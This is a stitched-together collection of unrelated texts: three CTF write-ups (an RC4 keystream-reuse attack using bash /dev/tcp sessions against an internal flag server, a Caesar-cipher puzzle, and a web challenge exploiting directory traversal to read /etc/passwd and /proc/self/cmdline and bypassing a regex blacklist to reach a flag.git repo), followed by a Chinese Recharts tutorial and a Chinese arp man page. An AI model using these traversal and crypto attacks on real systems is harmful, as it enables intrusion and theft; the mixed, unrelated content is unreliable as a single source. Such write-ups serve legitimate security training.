root@kali:/media/sf_CTFs/checkpoint/CS-hAcked/captures# tshark -r initial.pcapng -qz follow,tcp,raw,1 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,raw Filter: tcp.stream eq 1 Node 0: 172.16.238.4:40794 Node 1: 172.16.238.2:1337 596e2b00b349e78de0cc586e4582c8d70e6027f76af0220da7a31e3376447cbb b75aa7537b306a86391733e2e6 6ed101ee76155ffc90da9fb05cf5bb d51f 494c13 bac2 341b5ebe22cd432c4a7994d4bc4a 3e3217f7e110 75efbf54557ced 4bbd1eebc033fc30 bffdd8b81f0c9c96f055 ea026bbcbe0bf219e695ec22a79b384f6c43df2db1f7df1267bf7a3409910778df09d42d5516556b3623d5ec =================================================================== ``` 172.16.238.4 opens the session and receives a message. It then sends multiple message back, and receives a final message. All sessions are identical to the bit - it's always the exact same byte stream. To understand it, we need a context switch. ## The Flag Server Let's connect to the flag server we've received in the challenge description: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# nc 3.126.154.76 80 Welcome! your RC4 key is: csa-mitm-key :2$O,}Tɒ_;28 root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# nc 3.126.154.76 80 | xxd -g 1 00000000: 57 65 6c 63 6f 6d 65 21 20 79 6f 75 72 20 52 43 Welcome! your RC 00000010: 34 20 6b 65 79 20 69 73 3a 20 63 73 61 2d 6d 69 4 key is: csa-mi 00000020: 74 6d 2d 6b 65 79 0a 01 3a a1 32 24 c1 4f 2c 41 tm-key..:.2$.O,A 00000030: 82 ee 08 7d 80 1f 10 54 c9 92 a5 5f 1b ec 40 f3 ...}...T..._..@. ``` We get an RC4 key and some gibberish. Let's try to communicate using RC4: ```python from Crypto.Cipher import ARC4 import socket TCP_IP = '3.126.154.76' TCP_PORT = 80 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) data = s.recv(BUFFER_SIZE) print ("received data: {}".format(data.decode("ascii"))) cipher = ARC4.new("csa-mitm-key") data = s.recv(BUFFER_SIZE) print ("received data (Length: {}): {}".format(len(data), data.hex())) print(cipher.decrypt(data)) s.close() ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 rc4_comm.py received data: Welcome! your RC4 key is: csa-mitm-key received data (Length: 32): 013aa13224c14f2c4182ee087d801f1054c992a55f1bec40f3db3b9532ea38f9 b"Hi! what's the secret sequence?\n" ``` The server is asking us for the secret sequence, it can't hurt to try: ```python from Crypto.Cipher import ARC4 import socket TCP_IP = '3.126.154.76' TCP_PORT = 80 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) data = s.recv(BUFFER_SIZE) print ("received data: {}".format(data.decode("ascii"))) cipher = ARC4.new("csa-mitm-key") data = s.recv(BUFFER_SIZE) print ("received data (Length: {}): {}".format(len(data), data.hex())) print(cipher.decrypt(data)) s.send(cipher.encrypt("test")) data = s.recv(BUFFER_SIZE) print ("received data (Length: {}): {}".format(len(data), data.hex())) print(cipher.decrypt(data)) s.close() ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 rc4_comm.py received data: Welcome! your RC4 key is: csa-mitm-key received data (Length: 32): 013aa13224c14f2c4182ee087d801f1054c992a55f1bec40f3db3b9532ea38f9 b"Hi! what's the secret sequence?\n" received data (Length: 17): 7228c42e1f10891211147811a7b83c59fa b'No flag for you!\n' ``` ## Decrypting RC4 Let's see what we have. * 172.16.238.4 connects to 172.16.238.2 and receives 32 bytes: 596e2b00b349e78de0cc586e4582c8d70e6027f76af0220da7a31e3376447cbb * We connect to the flag server and receive 32 RC4-encrypted bytes (ignoring the plaintext instructions which contain the key): 013aa13224c14f2c4182ee087d801f1054c992a55f1bec40f3db3b9532ea38f9 It seems like a reasonable assumption that the analysis of the network traffic is as follows: * 172.16.238.2 is another flag server. It starts by sending 172.16.238.4 the RC4-encrypted message that we've received as well: "`Hi! what's the secret sequence?\n`" * 172.16.238.4 replies with a series of messages which are in fact the passphrase, built up from the dictionary we've received in the challenge description * 172.16.238.2 send back the flag (44 characters, as opposed to the 17 characters we've received, telling us that we don't deserve the flag) Now, given the fact that the communication between 172.16.238.2 and 172.16.238.4 is always identical, we can assume that they're using the exact same key in every session, and no IVs are involved. This also means that their key is different than ours, since if it was identical, we would have received the same encrypted stream for the opening message. Looks like we'll have to crack the encryption to receive the passphrase. The simplest way is to try and guess from the message lengths that 172.16.238.4 sends what are the words it is sending. For example, let's take `6ed101ee76155ffc90da9fb05cf5bb`. It's 15 bytes long. Let's compare to the dictionary: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# cat CS-hAcked/dictionary.txt | grep -x '.\{15\}' root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# cat CS-hAcked/dictionary.txt | grep -x '.\{14\}' administration ``` We don't have any words of length 15, but we have one word of length `14` and it's reasonable to assume that the last character is `\n` or something similar. The problem is we can't do this easily for other words. For example, how should we interpret `494c13`? ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# cat CS-hAcked/dictionary.txt | grep -x '.\{2\}' as at be ``` We have three different words of length 2. It's possible to try all different match combinations (and perhaps that's the intention of the creators) but we'll show a different (possible unintended) method. An RC4 stream is like an endless one-time pad. To encrypt, we take the stream and XOR it with the message. To decrypt, we XOR the encrypted message with the stream again. This is great (well, not entirely great since RC4 has been declared for other reasons as insecure) as long as the one-time pad known as the key stream is only used once. That's usually accomplished with the use of an IV. However we can see that in our case there is no IV and the same key stream is used to encrypt the same message again and again. How can we use this? Let's assume we have an encrypted RC4 message: `e88c91fbb4`. We don't know the key, but we do know that the plaintext is `abcde`. We can XOR these two values to get the key stream of the current offset. ```python >>> "".join(format(c1 ^ c2, 'x') for c1, c2 in zip(bytes.fromhex('e88c91fbb4'), 'abcde'.encode('ascii'))) '89eef29fd1' ``` So `'89eef29fd1'` is the key stream of the current offset in the RC4 session. Now, if we get another encrypted RC4 message which we know was encrypted with the same key and is located at the same offset (e.g. `'f89997eda5'`), this is actually a reuse of the same one-time pad for encryption and we can crack it: ```python >>> bytes((c1 ^ c2) for c1, c2 in zip(bytes.fromhex('f89997eda5'), bytes.fromhex('89eef29fd1'))).decode('ascii') 'qwert' ``` We didn't have to know the key for that. To apply this to our case, we need to somehow control the communication with 172.16.238.2. We know that it will send us `'No flag for you!\n'` if the passphrase is incorrect. We just need to "pull back" this response to overlap the offset of the passphrase, so that we can perform the trick above. The creators blocked most utilities such as `nc`, making it non-trivial to start an independent session with 172.16.238.2, but using raw bash commands it was still possible. First, let's make sure we can communicate with the internal flag server using bash sockets: ```console csa@9fdd7bdc3e3f:~$ exec 3<> /dev/tcp/172.16.238.2/1337 csa@9fdd7bdc3e3f:~$ echo -en "\xb7\x5a\xa7\x53\x7b\x30\x6a\x86\x39\x17\x33\xe2\xe6\x6e\xd1\x01\xee\x76\x15\x5f\xfc\x90\xda\x9f\xb0\x5c\xf5\xbb\xd5\x1f\x49\x4c\x13\xba\xc2\x34\x1b\x5e\xbe\x22\xcd\x43\x2c\x4a\x79\x94\xd4\xbc\x4a\x3e\x32\x17\xf7\xe1\x10\x75\xef\xbf\x54\x55\x7c\xed\x4b\xbd\x1e\xeb\xc0\x33\xfc\x30\xbf\xfd\xd8\xb8\x1f\x0c\x9c\x96\xf0\x55" 1>&3 csa@9fdd7bdc3e3f:~$ read 0<&3 ``` The result: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked/captures# tshark -r attack.pcapng -qz follow,tcp,raw,0 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,raw Filter: tcp.stream eq 0 Node 0: 172.16.238.3:40368 Node 1: 172.16.238.2:1337 596e2b00b349e78de0cc586e4582c8d70e6027f76af0220da7a31e3376447cbb b75aa7537b306a86391733e2e66ed101ee76155ffc90da9fb05cf5bbd51f494c13bac2341b5ebe22cd432c4a7994d4bc4a3e3217f7e11075efbf54557ced4bbd1eebc033fc30bffdd8b81f0c9c96f055 ea026bbcbe0bf219e695ec22a79b384f6c43df2db1f7df1267bf7a3409910778df09d42d5516556b3623d5ec =================================================================== ``` Looks good. We send the encrypted passphrase to the server even though we don't know how to decrypt it and get the encrypted flag from the server, although we can't decrypt that either. For the sake of readability, we'll split the transmissions from now on: ```console csa@9fdd7bdc3e3f:~$ exec 3<> /dev/tcp/172.16.238.2/1337 csa@9fdd7bdc3e3f:~$ echo -en "\xb7\x5a\xa7\x53\x7b\x30\x6a\x86\x39\x17\x33\xe2\xe6" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x6e\xd1\x01\xee\x76\x15\x5f\xfc\x90\xda\x9f\xb0\x5c\xf5\xbb" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xd5\x1f" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x49\x4c\x13" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xba\xc2" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x34\x1b\x5e\xbe\x22\xcd\x43\x2c\x4a\x79\x94\xd4\xbc\x4a" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x3e\x32\x17\xf7\xe1\x10" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x75\xef\xbf\x54\x55\x7c\xed" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x4b\xbd\x1e\xeb\xc0\x33\xfc\x30" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xbf\xfd\xd8\xb8\x1f\x0c\x9c\x96\xf0\x55" 1>&3 csa@9fdd7bdc3e3f:~$ read 0<&3 ``` Now we start the attack. Instead of sending the first word as `"\xb7\x5a\xa7\x53\x7b\x30\x6a\x86\x39\x17\x33\xe2\xe6"`, we'll modify the first byte to `0xb8`: ```console csa@9fdd7bdc3e3f:~$ exec 3<> /dev/tcp/172.16.238.2/1337 csa@9fdd7bdc3e3f:~$ echo -en "\xb8\x5a\xa7\x53\x7b\x30\x6a\x86\x39\x17\x33\xe2\xe6" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x6e\xd1\x01\xee\x76\x15\x5f\xfc\x90\xda\x9f\xb0\x5c\xf5\xbb" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xd5\x1f" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x49\x4c\x13" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xba\xc2" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x34\x1b\x5e\xbe\x22\xcd\x43\x2c\x4a\x79\x94\xd4\xbc\x4a" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x3e\x32\x17\xf7\xe1\x10" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x75\xef\xbf\x54\x55\x7c\xed" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x4b\xbd\x1e\xeb\xc0\x33\xfc\x30" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xbf\xfd\xd8\xb8\x1f\x0c\x9c\x96\xf0\x55" 1>&3 csa@9fdd7bdc3e3f:~$ read 0<&3 ``` The session: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked/captures# tshark -r attack.pcapng -qz follow,tcp,raw,3 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,raw Filter: tcp.stream eq 3 Node 0: 172.16.238.3:43008 Node 1: 172.16.238.2:1337 596e2b00b349e78de0cc586e4582c8d70e6027f76af0220da7a31e3376447cbb b85aa7537b306a86391733e2e6 6ed101ee76155ffc90da9fb05cf5bb d51f494c13bac2341b5ebe22cd432c4a7994d4bc4a3e3217f7e11075efbf54557ced4bbd1eebc033fc30bffdd8b81f0c9c96f055 41da4ce1741d4ba884d499f94af4c4951f =================================================================== ``` We got a 17-byte response! We know that `41da4ce1741d4ba884d499f94af4c4951f` is decrypted to "`No flag for you!\n`". Now we can XOR the encrypted stream with the plaintext to get the matching segment of the key stream. We'll use the following script to search for the correct location in the stream: ```python import string, sys def xor(one, two): return bytes(a ^ b for (a, b) in zip(one, two)) encrypted_passphrase = bytes.fromhex(""" b75aa7537b306a86391733e2e6 6ed101ee76155ffc90da9fb05cf5bb d51f 494c13 bac2 341b5ebe22cd432c4a7994d4bc4a 3e3217f7e110 75efbf54557ced 4bbd1eebc033fc30 bffdd8b81f0c9c96f055 """.replace("\n", "")) failure_text = b'No flag for you!\n' encrypted_failure_msg = bytes.fromhex(sys.argv[1]) assert(len(failure_text) == len(encrypted_failure_msg)) key_stream = xor(encrypted_failure_msg, failure_text) for i in range(len(encrypted_passphrase)): encrypted_chunk = encrypted_passphrase[i:i+len(key_stream)] xor_res = xor(key_stream, encrypted_chunk) if all(chr(c) in string.printable for c in xor_res): print ("Encrypted bytes: {}".format(encrypted_chunk.hex())) print ("Decrypted bytes: {}".format(xor_res)) ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 decrypt.py 41da4ce1741d4ba884d499f94af4c4951f Encrypted bytes: 6ed101ee76155ffc90da9fb05cf5bbd51f Decrypted bytes: b'administration\na\n' ``` So we know that: ``` 6ed101ee76155ffc90da9fb05cf5bb -> administration d51f -> a ``` We can corrupt another word and try again: ```console csa@9fdd7bdc3e3f:~$ exec 3<> /dev/tcp/172.16.238.2/1337 csa@9fdd7bdc3e3f:~$ echo -en "\xb7\x5a\xa7\x53\x7b\x30\x6a\x86\x39\x17\x33\xe2\xe6" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x6f\xd1\x01\xee\x76\x15\x5f\xfc\x90\xda\x9f\xb0\x5c\xf5\xbb" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xd5\x1f" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x49\x4c\x13" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xba\xc2" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x34\x1b\x5e\xbe\x22\xcd\x43\x2c\x4a\x79\x94\xd4\xbc\x4a" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x3e\x32\x17\xf7\xe1\x10" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x75\xef\xbf\x54\x55\x7c\xed" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\x4b\xbd\x1e\xeb\xc0\x33\xfc\x30" 1>&3 csa@9fdd7bdc3e3f:~$ echo -en "\xbf\xfd\xd8\xb8\x1f\x0c\x9c\x96\xf0\x55" 1>&3 csa@9fdd7bdc3e3f:~$ read 0<&3 ``` Session: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked/captures# tshark -r attack.pcapng -qz follow,tcp,raw,4 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,raw Filter: tcp.stream eq 4 Node 0: 172.16.238.3:45346 Node 1: 172.16.238.2:1337 596e2b00b349e78de0cc586e4582c8d70e6027f76af0220da7a31e3376447cbb b75aa7537b306a86391733e2e6 6fd101ee76155ffc90da9fb05cf5bb d51f494c13bac2341b5ebe22cd432c4a7994d4bc4a3e3217f7e11075efbf54557ced4bbd1eebc033fc30bffdd8b81f0c9c96f055 fa7a08597592af711347a570db42340e1d =================================================================== ``` Decryption: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 decrypt.py fa7a08597592af711347a570db42340e1d Encrypted bytes: d51f494c13bac2341b5ebe22cd432c4a79 Decrypted bytes: b'a\nas\nI\nenvironmen' Encrypted bytes: f055 Decrypted bytes: b'D@' ``` So from here we can see that: ``` d51f -> a 494c13 -> as bac2 -> I 341b5ebe22cd432c4a7994d4bc4a79 -> environment or environmental ``` We continue with this method, e.g. ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 decrypt.py 90f19bb1010992d8f130db7153a8a2759f Encrypted bytes: bffdd8b81f0c9c96f055 Decrypted bytes: b'according\n ``` And we are able to decrypt most of the words: ```console b75aa7537b306a86391733e2e6 -> ? 6ed101ee76155ffc90da9fb05cf5bb -> administration d51f -> a 494c13 -> as bac2 -> I 341b5ebe22cd432c4a7994d4bc4a -> environmental 3e3217f7e110 -> about 75efbf54557ced -> across 4bbd1eebc033fc30 -> ability bffdd8b81f0c9c96f055 -> according ``` We can't control the output well enough to guess the first word, but we know according to it's length that it is either `organization` or `particularly`. We can just try both. Note that we can decode half of the flag this way as well, but again we can't control the output well enough to decode the full flag. We'll just have to send the passphrase like intended: ```python from Crypto.Cipher import ARC4 import socket TCP_IP = '3.126.154.76' TCP_PORT = 80 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) data = s.recv(BUFFER_SIZE) print ("received data: {}".format(data.decode("ascii"))) cipher = ARC4.new("csa-mitm-key") data = s.recv(BUFFER_SIZE) print ("received data (Length: {}): {}".format(len(data), data.hex())) print(cipher.decrypt(data)) list = ["particularly", "administration", "a", "as", "I", "environmental", "about", "across", "ability", "according"] for word in list: s.send(cipher.encrypt(word + "\n")) data = s.recv(BUFFER_SIZE) print ("received data: {}".format(data.hex())) print(cipher.decrypt(data)) s.close() ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# python3 solve.py received data: Welcome! your RC4 key is: csa-mitm-key received data (Length: 32): 013aa13224c14f2c4182ee087d801f1054c992a55f1bec40f3db3b9532ea38f9 b"Hi! what's the secret sequence?\n" received data: 7b5652b5a0dd441a564ef8df3a5faf0615d90f29de4424b2c9df81b3513caf794c5c5c6e124c1081ed9bc1ab b'CSA{i_gu355_I_need_tO_ChN4GE_mY_encrYp71On}\n' ```
sec-knowleage
##Caesar (Crypto, 400p) Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book. The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of texts in a file. We need the title of the book back, but unfortunately we only have a portion of it... ###PL [ENG](#eng-version) Dostajemy [plik](The_extract.txt) a z treści zadania wynika, że może być on szyfrowany za pomocą szyfru Cezara. Uruchamiamy więc prosty skrypt: ```python import codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text) ``` Który wypisuje wszystkie możliwe dekodowania, wśród których mamy: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Pochodzące z książki `In the Shadow of Greed` co jest flagą. ###ENG version We get a [file](The_extract.txt) and the task description suggests that the encryption is Caesar. Therefore we run a simple script: ```python import codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text) ``` Which prints all possible decryptions where we can find: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Coming from `In the Shadow of Greed` book, which is the flag.
sec-knowleage
# Cyberware (web, 416, 24 solved) We get access to a webpage with links to 4 ascii-art files. If we simply click on them, we can't see the files and we get HTTP 412 response. Once we dig a bit deeper we can see a strange header `HTTP/1.1 412 referer sucks` Once we send a raw request with no headers, we get back a nice picture: ```python from crypto_commons.netcat.netcat_commons import nc def main(): s = nc("cyberware.ctf.hackover.de", 1337) s.sendall("GET /fox.txt HTTP/1.0\r\nConnection: close\r\n\r\n") print(s.recv(9999)) print(s.recv(9999)) pass main() ``` If we look closely at the responses we can see: ``` HTTP/1.1 200 Yippie Server: Linux/cyber Date: Sun, 07 Oct 2018 14:50:19 GMT Content-type: text/cyber Content-length: 414 ``` This could suggest a custom-made http server of some sort. Once we play around a bit we notice that there is a directory traversal there: ``` s.sendall("GET ./etc/passwd HTTP/1.0\r\nConnection: close\r\n\r\n") ``` returns contents of `/etc/passwd` for us. Now we can get `/proc/self/cmdline` which tells us we're running `/usr/bin/python3 ./cyberserver.py`, and we can read this file to recover [server source code](cyberserver.py) The interesting part of the code is: ```python if path.startswith('flag.git') or search('\\w+/flag.git', path): self.send_response(403, 'U NO POWER') self.send_header('Content-type', 'text/cyber') self.end_headers() self.wfile.write(b"Protected by Cyberware 10.1") return ``` This suggests there is a `flag.git` repository there! It seems blacklisted, but `\w+` does not match `/` and they included only a single `/` in the pattern so if we send two, it will bypass the check: ``` s.sendall("GET ./home/ctf//flag.git HTTP/1.0\r\nConnection: close\r\n\r\n") ``` We get back a nice `HTTP/1.1 406 Cyberdir not accaptable`, so we made a proper request. Now what is left is to modify some git-repo-dumper like https://github.com/internetwache/GitTools/tree/master/Dumper to grab the contents of the git repo and there we can find the flag: `hackover18{Cyb3rw4r3_f0r_Th3_w1N}`
sec-knowleage
# Recharts Recharts是使用React和D3构建的重新定义的图表库,主要原则有 1. 声明式的标签,让写图表和写 HTML 一样简单 2. 贴近原生 SVG 的配置项,让配置项更加自然 3. 接口式的 API,解决各种个性化的需求 ### 安装 因为在 React 中使用,所以在 R 中的安装就不提了 ``` npm install recharts -S ``` ### 使用 在 React 中引用,首先选择图表类型 ```js import { PieChart, Pie } from 'recharts' //这里我们使用 饼状图。所以引用饼状图和其子组件 ``` 然后添加数据,一般为后台请求数据,这里我们使用假数据 ```js const data = [ {name: '水分', value: 200}, {name: '糖分', value: 100}, {name: '脂肪', value: 130}, {name: '蛋白质', value: 100} ] ``` 最后添加需要的组件 ```html <PieChart width={300} height={300}> <Pie data={data} fill="#8884d8"></Pie> </PieChart> ``` 修改组件配置,以达到想要的效果 ```js const COLORS = ['#f4baba', '#e0cd84', '#91e1dd', '#a48ad4'] <PieChart width={220} height={220}> <Pie data={data} cx={110} cy={110} dataKey={'value'} outerRadius={80} innerRadius={40} fill="#8884d8" > { data.map((entry, index) => <Cell key={index} fill={COLORS[index % COLORS.length]}/> ) } </Pie> </PieChart> ``` 配置信息说明: - Pie:[点击查看](http://recharts.org/#/zh-CN/api/Pie) - Cell:[点击查看](http://recharts.org/#/zh-CN/api/Cell) - PieChart:[点击查看](http://recharts.org/#/zh-CN/api/PieChart) ### 动态效果 配合`react-transition-group`插件实现动态效果 #### 装包 ``` npm i react-transition-group -S ``` #### 引用 ```js import { CSSTransitionGroup } from 'react-transition-group' ``` #### 使用 ```html <CSSTransitionGroup transitionName="example" transitionEnterTimeout={500} transitionLeaveTimeout={300}> {items} </CSSTransitionGroup> ``` ### 代码参考 - Github 在线查看:[点击查看](https://github.com/l552177239/react-recharts) #### 代码展示 ```js import React, { Component } from 'react' import { PieChart, Pie, Cell } from 'recharts' import { CSSTransitionGroup } from 'react-transition-group' import './pie-chart.css' const COLORS = ['#f4baba', '#e0cd84', '#91e1dd', '#a48ad4'] const data = [ {name: '水分', value: 300}, {name: '糖分', value: 100}, {name: '脂肪', value: 100}, {name: '蛋白质', value: 500} ] class App extends Component { constructor(props) { super(props); this.state = { items: [], c: 'a' } } clickCell = (entry, index) => { let newItems = this.state.items.slice(); newItems.push({ name: entry.name, value: entry.value, color: COLORS[index % COLORS.length] }) this.setState({ items: newItems }) } render() { let width = window.innerWidth - 40 const items = this.state.items.map((item, i) => ( <div key={item.color} className="legend"> <div className="legend-name" style={{ 'background' : item.color}}> {item.name} </div> <div className="legend-value" style={{ 'border' : `3px solid ${item.color}`}}> {item.value} mg </div> </div> )) return ( <div className="App"> <PieChart width={width} height={220} onMouseEnter={this.onPieEnter}> <Pie data={data} cx={width/2} cy={110} dataKey={'value'} outerRadius={80} innerRadius={40} fill="#8884d8" > { data.map((entry, index) => <Cell key={index} fill={COLORS[index % COLORS.length]} onClick={() => this.clickCell(entry, index)}/> ) } </Pie> </PieChart> <CSSTransitionGroup transitionName="example" transitionEnterTimeout={500} transitionLeaveTimeout={300}> {items} </CSSTransitionGroup> </div> ) } } export default App ``` ### 参考 - 官网:[点击进入](http://recharts.org/#/zh-CN/) - GitBook文档:[点击进入](https://recharts.cosx.org/) - 知乎专栏:[点击进入](https://zhuanlan.zhihu.com/p/20641029) - 官方文档:[点击进入](https://madlogos.github.io/recharts/index_cn.html#-en)
sec-knowleage
arp === arp 命令用于显示和修改 IP 到 MAC 转换表 ## 补充说明 **arp 命令** 是 Address Resolution Protocol,地址解析协议,是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。 这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注:即TCP/IP的第三层到第一层的地址转换协议],用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置,否则一般不会直接操作这个模块。 实际上,它提供对核心中其它协议的服务。 用户进程可以使用 packet(7) 的 sockets,收到 ARP 包(译注:一译分组)。 还有一种机制是使用 netlink(7) sockets,在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表 ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲, 并且其性状可以用下面定义的 sysctl 调节。 如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时, 则认为相邻层的缓存记录失效。 为了再次向目标发送数据,ARP将首先试着询问本地arp进程 app_solicit 次,获取更新了的 MAC(介质访问控制)地址。 如果失败,并且旧的MAC地址是已知的,则发送 ucast_solicit 次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列 如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。 ### 语法 ```shell arp(选项)(参数) ``` ### 选项 ```shell -a # 主机 :显示 arp 缓冲区的所有条目; -H # 地址类型 :指定 arp 指令使用的地址类型; -d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目; -D # 使用指定接口的硬件地址; -e # 以 Linux 的显示风格显示 arp 缓冲区中的条目; -i # 接口 :指定要操作 arp 缓冲区的网络接口; -s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射; -n # 以数字方式显示 arp 缓冲区中的条目; -v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息; -f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。 ``` ### 参数 主机:查询 arp 缓冲区中指定主机的 arp 条目。 ### 实例 显示arp 缓冲区内容 ```shell [root@localhost ~]# arp -v Address HWtype HWaddress Flags Mask Iface 192.168.0.134 ether 00:21:5E:C7:4D:88 C eth1 115.238.144.129 ether 38:22:D6:2F:B2:F1 C eth0 Entries: 2 Skipped: 0 Found: 2 ``` 添加静态 arp 映射 ```shell arp -s IP MAC-ADDRESS arp -s 192.168.1.1 00:b1:b2:b3:b4:b5 ``` 删除 arp 缓存条目 ```shell arp -d 192.168.1.1 ``` <!-- Linux 命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
sec-knowleage
